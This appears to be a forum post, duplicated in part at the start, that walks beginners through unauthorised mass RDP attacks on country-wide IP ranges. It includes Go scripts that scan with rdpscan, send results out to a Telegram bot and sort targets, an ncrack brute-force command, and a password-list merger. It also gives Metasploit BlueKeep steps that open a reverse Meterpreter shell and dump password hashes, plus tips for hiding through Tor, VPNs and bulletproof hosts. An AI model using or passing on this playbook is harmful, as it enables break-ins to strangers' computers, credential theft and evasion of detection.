RDP Scanning and Brute-Forcing
This guide explains Remote Desktop Protocol (RDP) scanning and brute-forcing in a simple, beginner-friendly way. It covers the basics, tools, and code to help you understand the process.
Remote Desktop Protocol (RDP), developed by Microsoft, lets you connect to a remote computer over a network and control it as if you were sitting in front of it. Think of it as accessing a Windows computer remotely.
A brute-force attack involves guessing username and password combinations to gain access to a system. It exploits weak or commonly used passwords.
Every device on a network has an IP address, a unique identifier like a mailing address. Each IP address has over 65,000 ports, which act like specific "stores" within a "shopping mall" (the IP address). For RDP, the default port is 3389.
The rdpscan tool (available on GitHub) scans IP ranges for active RDP services and identifies BlueKeep vulnerabilities. It outputs logs with statuses:
Installation:
Automation Script:
Notes:
To securely store scan results, use a Telegram bot to back up output.txt and checked.txt as a zip archive.
Setup Instructions:
This script processes output.txt to create two files:
Use ncrack to perform the brute-force attack on the IPs in forBruteIp.txt.
Command:
Password and Username Lists:
Combine Password Lists:This script combines multiple password files, keeps unique entries (minimum 4 characters), and randomizes them.
Warning: BlueKeep is an old vulnerability, and some hosts may be honeypots. Proceed with caution.
Use Metasploit to exploit BlueKeep:
From 20 IP ranges, you might find ~1,000 hosts for brute-forcing and a few with BlueKeep. Scanning takes several hours.
P.S. Thank you for helping me format the post, Elon Musk. I'm really bad at formatting -_-
This guide explains Remote Desktop Protocol (RDP) scanning and brute-forcing in a simple, beginner-friendly way. It covers the basics, tools, and code to help you understand the process.
What is RDP?
Remote Desktop Protocol (RDP), developed by Microsoft, lets you connect to a remote computer over a network and control it as if you were sitting in front of it. Think of it as accessing a Windows computer remotely.
What is a Brute-Force Attack?
A brute-force attack involves guessing username and password combinations to gain access to a system. It exploits weak or commonly used passwords.
Understanding IP Addresses and Ports
Every device on a network has an IP address, a unique identifier like a mailing address. Each IP address has over 65,000 ports, which act like specific "stores" within a "shopping mall" (the IP address). For RDP, the default port is 3389.
Step-by-Step Process
Step 1: Gather IP Address Ranges
- Top-Level Domains (TLDs): Choose a country or region based on TLDs (e.g., .com, .ru, .uk).
- Convert TLDs to IPs: Use repositories like RIR-IP by country to map TLDs to IP address ranges.
Step 2: Scan for Open Ports
- Masscan: A fast tool to detect open ports. However, open ports may not always have an active RDP service or could be blocked by a firewall.
- Nmap: Slower but confirms whether an RDP service is running on a port.
- Alternative (Recommended): Use rdpscan, a tool to detect RDP services and check for the CVE-2019-0708 (BlueKeep) vulnerability.
Using rdpscan
The rdpscan tool (available on GitHub) scans IP ranges for active RDP services and identifies BlueKeep vulnerabilities. It outputs logs with statuses:
- UNKNOWN: Skip these addresses.
- VULNERABLE: Hosts with BlueKeep (save for later exploitation).
- SAFE: Hosts without BlueKeep but potentially suitable for brute-forcing (e.g., marked as SAFE or SAFE - CredSSP/NLA).
- SAFE - not RDP: Unsuitable for brute-forcing.
Installation:
- Clone the repository: git clone https://github.com/robertdavidgraham/rdpscan.
- Run make in the repository folder to build the executable.
- Install any missing dependencies (use ChatGPT to troubleshoot errors).
Automation Script:
Code:
package main
import ("bufio""fmt""os""os/exec""strings")
func main() {file, err := os.Open("ip.txt")if err != nil {fmt.Println("Error opening file:", err)return}defer file.Close()
outputFile, err := os.OpenFile("output.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)if err != nil {fmt.Println("Error opening output.txt:", err)return}defer outputFile.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {ip := scanner.Text()if strings.TrimSpace(ip) == "" {continue}
cmd := exec.Command("./rdpscan", "--workers", "350", ip)
cmd.Stdout = outputFilecmd.Stderr = os.Stderr
err := cmd.Run()if err != nil {fmt.Println("Error executing command:", err)} else {fmt.Printf("Command for IP %s executed successfully\n", ip)}}
if err := scanner.Err(); err != nil {fmt.Println("Error reading file:", err)}}
Notes:
- The --workers 350 flag sets the number of concurrent goroutines for faster scanning. Adjust as needed.
- The script reads IPs from ip.txt and saves results to output.txt.
- For Linux, redirect output with >> res.txt in the terminal.
Step 3: Back Up Results with a Telegram Bot
To securely store scan results, use a Telegram bot to back up output.txt and checked.txt as a zip archive.
Code:
package main
import ("archive/zip""bufio""bytes""fmt""io""net/http""os""path/filepath""strings""sync""time"
"mime/multipart")
var outputMutex sync.Mutexvar checkedMutex sync.Mutex
func archiveFiles(outputPath string, files []string) error {archive, err := os.Create(outputPath)if err != nil {return fmt.Errorf("error creating archive: %v", err)}defer archive.Close()
zipWriter := zip.NewWriter(archive)defer zipWriter.Close()
for _, file := range files {fileToZip, err := os.Open(file)if err != nil {return fmt.Errorf("error opening file %s: %v", file, err)}defer fileToZip.Close()
info, err := fileToZip.Stat()if err != nil {return fmt.Errorf("error getting file info %s: %v", file, err)}
header, err := zip.FileInfoHeader(info)if err != nil {return fmt.Errorf("error creating file header %s: %v", file, err)}header.Name = filepath.Base(file)header.Method = zip.Deflate
writer, err := zipWriter.CreateHeader(header)if err != nil {return fmt.Errorf("error creating archive entry: %v", err)}_, err = io.Copy(writer, fileToZip)if err != nil {return fmt.Errorf("error copying file %s to archive: %v", file, err)}}return nil}
func sendToTelegram() error {telegramToken := "YOUR_TELEGRAM_BOT_TOKEN" // Replace with your bot tokenchatID := int64(YOUR_CHAT_ID) // Replace with your chat IDfilePath := "archive.zip"
file, err := os.Open(filePath)if err != nil {return fmt.Errorf("error opening file %s: %v", filePath, err)}defer file.Close()
var buf bytes.Bufferwriter := multipart.NewWriter(&buf)
part, err := writer.CreateFormFile("document", filePath)if err != nil {return fmt.Errorf("error creating multipart form: %v", err)}
_, err = io.Copy(part, file)if err != nil {return fmt.Errorf("error copying file to form: %v", err)}
writer.WriteField("chat_id", fmt.Sprintf("%d", chatID))
err = writer.Close()if err != nil {return fmt.Errorf("error closing writer: %v", err)}
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendDocument", telegramToken)req, err := http.NewRequest("POST", url, &buf)if err != nil {return fmt.Errorf("error creating HTTP request: %v", err)}req.Header.Set("Content-Type", writer.FormDataContentType())
client := &http.Client{Timeout: 30 * time.Second}resp, err := client.Do(req)if err != nil {return fmt.Errorf("error sending request: %v", err)}defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {return fmt.Errorf("failed to send document, status: %s", resp.Status)}
fmt.Println("Archive sent to Telegram successfully")return nil}
func periodicTask(intervalMinutes int, files []string, archivePath string) {for {err := archiveFiles(archivePath, files)if err != nil {fmt.Printf("Error creating archive: %v\n", err)} else {fmt.Println("Archive created successfully")err = sendToTelegram()if err != nil {fmt.Printf("Error sending archive: %v\n", err)} else {fmt.Println("Archive sent successfully")}}time.Sleep(time.Duration(intervalMinutes) * time.Minute)}}
func processIPs() {file, err := os.Open("ip.txt")if err != nil {fmt.Println("Error opening file:", err)return}defer file.Close()
outputFile, err := os.OpenFile("output.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)if err != nil {fmt.Println("Error opening output.txt:", err)return}defer outputFile.Close()
checkedFile, err := os.OpenFile("checked.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)if err != nil {fmt.Println("Error opening checked.txt:", err)return}defer checkedFile.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {ip := scanner.Text()if strings.TrimSpace(ip) == "" {continue}
cmd := exec.Command("./rdpscan", "--workers", "350", ip)
outputMutex.Lock()cmd.Stdout = outputFilecmd.Stderr = os.Stderrerr := cmd.Run()outputMutex.Unlock()
if err != nil {fmt.Println("Error executing command:", err)} else {fmt.Printf("Command for IP %s executed successfully\n", ip)
checkedMutex.Lock()_, err := checkedFile.WriteString(ip + "\n")checkedMutex.Unlock()
if err != nil {fmt.Println("Error writing IP to checked.txt:", err)}}}
if err := scanner.Err(); err != nil {fmt.Println("Error reading file:", err)}}
func main() {archivePath := "archive.zip"files := []string{"output.txt", "checked.txt"}intervalMinutes := 60
go periodicTask(intervalMinutes, files, archivePath)processIPs()}
Setup Instructions:
- Create a Telegram bot and get its token and chat ID
- Update telegramToken and chatID in the script.
- The script creates a zip archive of output.txt and checked.txt every 60 minutes and sends it to your Telegram bot.
Step 4: Process Scan Results
This script processes output.txt to create two files:
- forBruteIp.txt: IPs suitable for brute-forcing.
- BlueKeep.txt: IPs vulnerable to BlueKeep.
Code:
package main
import ("bufio""fmt""os""regexp""strings")
func main() {inputFileName := "output.txt"safeOutputFileName := "forBruteIp.txt"vulnerableOutputFileName := "BlueKeep.txt"
inputFile, err := os.Open(inputFileName)if err != nil {fmt.Printf("Error opening file %s: %v\n", inputFileName, err)return}defer inputFile.Close()
safeFile, err := os.OpenFile(safeOutputFileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)if err != nil {fmt.Printf("Error opening file %s: %v\n", safeOutputFileName, err)return}defer safeFile.Close()
vulnerableFile, err := os.OpenFile(vulnerableOutputFileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)if err != nil {fmt.Printf("Error opening file %s: %v\n", vulnerableOutputFileName, err)return}defer vulnerableFile.Close()
safeWriter := bufio.NewWriter(safeFile)defer safeWriter.Flush()
vulnerableWriter := bufio.NewWriter(vulnerableFile)defer vulnerableWriter.Flush()
scanner := bufio.NewScanner(inputFile)
ipRegex := regexp.MustCompile(\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b)
for scanner.Scan() {line := scanner.Text()ip := ipRegex.FindString(line)if ip == "" {continue}
if containsSafeKeywords(line) {_, err := safeWriter.WriteString(ip + "\n")if err != nil {fmt.Printf("Error writing to SAFE file: %v\n", err)return}} else if containsVulnerableKeywords(line) {_, err := vulnerableWriter.WriteString(ip + "\n")if err != nil {fmt.Printf("Error writing to VULNERABLE file: %v\n", err)return}}}
if err := scanner.Err(); err != nil {fmt.Printf("Error reading file %s: %v\n", inputFileName, err)}}
func containsSafeKeywords(line string) bool {return strings.Contains(line, "SAFE - CredSSP") || strings.Contains(line, "SAFE - Target")}
func containsVulnerableKeywords(line string) bool {return strings.Contains(line, "VULNERABLE")}
Step 5: Brute-Forcing with ncrack
Use ncrack to perform the brute-force attack on the IPs in forBruteIp.txt.
Command:
Code:
ncrack -v -f -CL -U usernames.txt -P passwords.txt -iL forBruteIp.txt -p 3389 -oN results.txt
- -f: Stops at the first successful login.
- -U usernames.txt: File with usernames.
- -P passwords.txt: File with passwords.
- -iL forBruteIp.txt: File with target IPs.
- -p 3389: RDP port.
- -oN results.txt: Save results to results.txt.
Password and Username Lists:
- Recommended: danielmiessler/SecLists for usernames and passwords.
- Avoid lists lacking special characters or capital letters.
Combine Password Lists:This script combines multiple password files, keeps unique entries (minimum 4 characters), and randomizes them.
Code:
package main
import ("bufio""math/rand""os""path/filepath""strings""time")
func main() {rand.Seed(time.Now().UnixNano())
uniqueLines := make(map[string]struct{})
files, err := filepath.Glob("*.txt")if err != nil {panic(err)}
for _, file := range files {f, err := os.Open(file)if err != nil {panic(err)}defer f.Close()
scanner := bufio.NewScanner(f)for scanner.Scan() {line := strings.TrimSpace(scanner.Text())if len(line) > 4 {uniqueLines[line] = struct{}{}}}if err := scanner.Err(); err != nil {panic(err)}}
lines := make([]string, 0, len(uniqueLines))for line := range uniqueLines {lines = append(lines, line)}
rand.Shuffle(len(lines), func(i, j int) { lines[i], lines[j] = lines[j], lines[i] })
outputFile, err := os.Create("result.txt")if err != nil {panic(err)}defer outputFile.Close()
writer := bufio.NewWriter(outputFile)for _, line := range lines {writer.WriteString(line + "\n")}
if err := writer.Flush(); err != nil {panic(err)}
println("Processing complete. Result written to result.txt")}
Step 6: Exploiting BlueKeep (CVE-2019-0708)
Warning: BlueKeep is an old vulnerability, and some hosts may be honeypots. Proceed with caution.
Use Metasploit to exploit BlueKeep:
- Start Metasploit: msfconsole.
- Select the exploit: use exploit/windows/rdp/cve_2019_0708_bluekeep_rce.
- Set the target IP: set RHOSTS <IP>.
- Set the payload: set PAYLOAD windows/x64/meterpreter/reverse_tcp.
- Set your machine’s IP: set LHOST <your_IP>.
- Run: exploit.
- If successful, you’ll get a Meterpreter session.
- Extract hashes: hashdump.
- Crack hashes with Hashcat or John the Ripper to obtain credentials.
Anonymity Tips
- Run on a Remote Server: Use an Ubuntu Server with VNC (similar to RDP) and enable logging.
- Monitor Logs: Check logs twice daily for IPs attempting to brute-force your server. Verify IPs at whatismyipaddress.com to find "bulletproof" hosts.
- Use TOR/VPN: Run scripts with torify for Tor traffic or route through a VPN. VPNs are less suspicious, as many companies use them for security.
- Use nohup: Run scripts with nohup to keep them running after SSH sessions end.
Practical Results
From 20 IP ranges, you might find ~1,000 hosts for brute-forcing and a few with BlueKeep. Scanning takes several hours.
P.S. Thank you for helping me format the post, Elon Musk. I'm really bad at formatting -_-
👍28
❤️6
😁4
👏6
LIMB